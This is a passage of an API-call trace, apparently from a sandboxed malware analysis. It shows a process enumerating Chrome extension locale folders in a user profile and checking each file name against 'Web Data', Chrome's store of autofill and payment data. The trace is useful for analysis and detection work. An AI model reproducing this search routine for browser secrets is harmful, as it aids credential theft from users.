IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.268] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.268] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.268] lstrlenA (lpString="ro") returned 2 [0056.268] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.268] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.268] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="ro" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ro") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ro" [0056.268] LocalFree (hMem=0x2daca0) returned 0x0 [0056.268] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ro") returned 131 [0056.268] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ro") returned 131 [0056.268] lstrlenA (lpString="\\*.*") returned 4 [0056.268] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.268] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ro" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ro") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ro" [0056.268] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ro", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ro\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ro\\*.*" [0056.268] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ro\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.268] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.268] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.268] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.268] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.268] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.269] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.269] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.269] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.269] LocalFree (hMem=0x2daca0) returned 0x0 [0056.269] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.269] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.269] lstrcmpiA (lpString1=".", lpString2="ru") returned -1 [0056.269] lstrcmpiA (lpString1="..", lpString2="ru") returned -1 [0056.269] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.269] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.269] lstrlenA (lpString="\\") returned 1 [0056.269] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.269] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.269] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.269] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.269] lstrlenA (lpString="ru") returned 2 [0056.269] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.269] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.269] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="ru" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ru") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ru" [0056.269] LocalFree (hMem=0x2daca0) returned 0x0 [0056.269] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ru") returned 131 [0056.269] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ru") returned 131 [0056.269] lstrlenA (lpString="\\*.*") returned 4 [0056.269] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.269] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ru" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ru") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ru" [0056.269] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ru", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ru\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ru\\*.*" [0056.269] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ru\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.269] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.269] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.269] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.269] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.269] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.269] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.269] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.269] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.269] LocalFree (hMem=0x2daca0) returned 0x0 [0056.269] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.269] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.269] lstrcmpiA (lpString1=".", lpString2="sk") returned -1 [0056.269] lstrcmpiA (lpString1="..", lpString2="sk") returned -1 [0056.269] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.269] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.269] lstrlenA (lpString="\\") returned 1 [0056.269] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.269] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.269] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.270] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.270] lstrlenA (lpString="sk") returned 2 [0056.270] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.270] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.270] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="sk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sk" [0056.270] LocalFree (hMem=0x2daca0) returned 0x0 [0056.270] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sk") returned 131 [0056.270] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sk") returned 131 [0056.270] lstrlenA (lpString="\\*.*") returned 4 [0056.270] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.270] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sk" [0056.270] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sk", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sk\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sk\\*.*" [0056.270] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sk\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.270] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.270] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.270] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.270] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.270] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.270] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.270] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.270] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.270] LocalFree (hMem=0x2daca0) returned 0x0 [0056.270] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.270] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.270] lstrcmpiA (lpString1=".", lpString2="sl") returned -1 [0056.270] lstrcmpiA (lpString1="..", lpString2="sl") returned -1 [0056.270] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.270] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.270] lstrlenA (lpString="\\") returned 1 [0056.270] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.270] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.270] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.270] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.270] lstrlenA (lpString="sl") returned 2 [0056.270] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.270] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.270] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="sl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sl" [0056.270] LocalFree (hMem=0x2daca0) returned 0x0 [0056.270] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sl") returned 131 [0056.270] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sl") returned 131 [0056.270] lstrlenA (lpString="\\*.*") returned 4 [0056.270] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.270] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sl" [0056.270] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sl", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sl\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sl\\*.*" [0056.270] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sl\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.271] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.271] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.271] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.271] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.271] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.271] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.271] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.271] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.271] LocalFree (hMem=0x2daca0) returned 0x0 [0056.271] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.271] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.271] lstrcmpiA (lpString1=".", lpString2="sr") returned -1 [0056.271] lstrcmpiA (lpString1="..", lpString2="sr") returned -1 [0056.271] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.271] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.271] lstrlenA (lpString="\\") returned 1 [0056.271] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.271] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.271] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.271] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.271] lstrlenA (lpString="sr") returned 2 [0056.271] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.271] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: 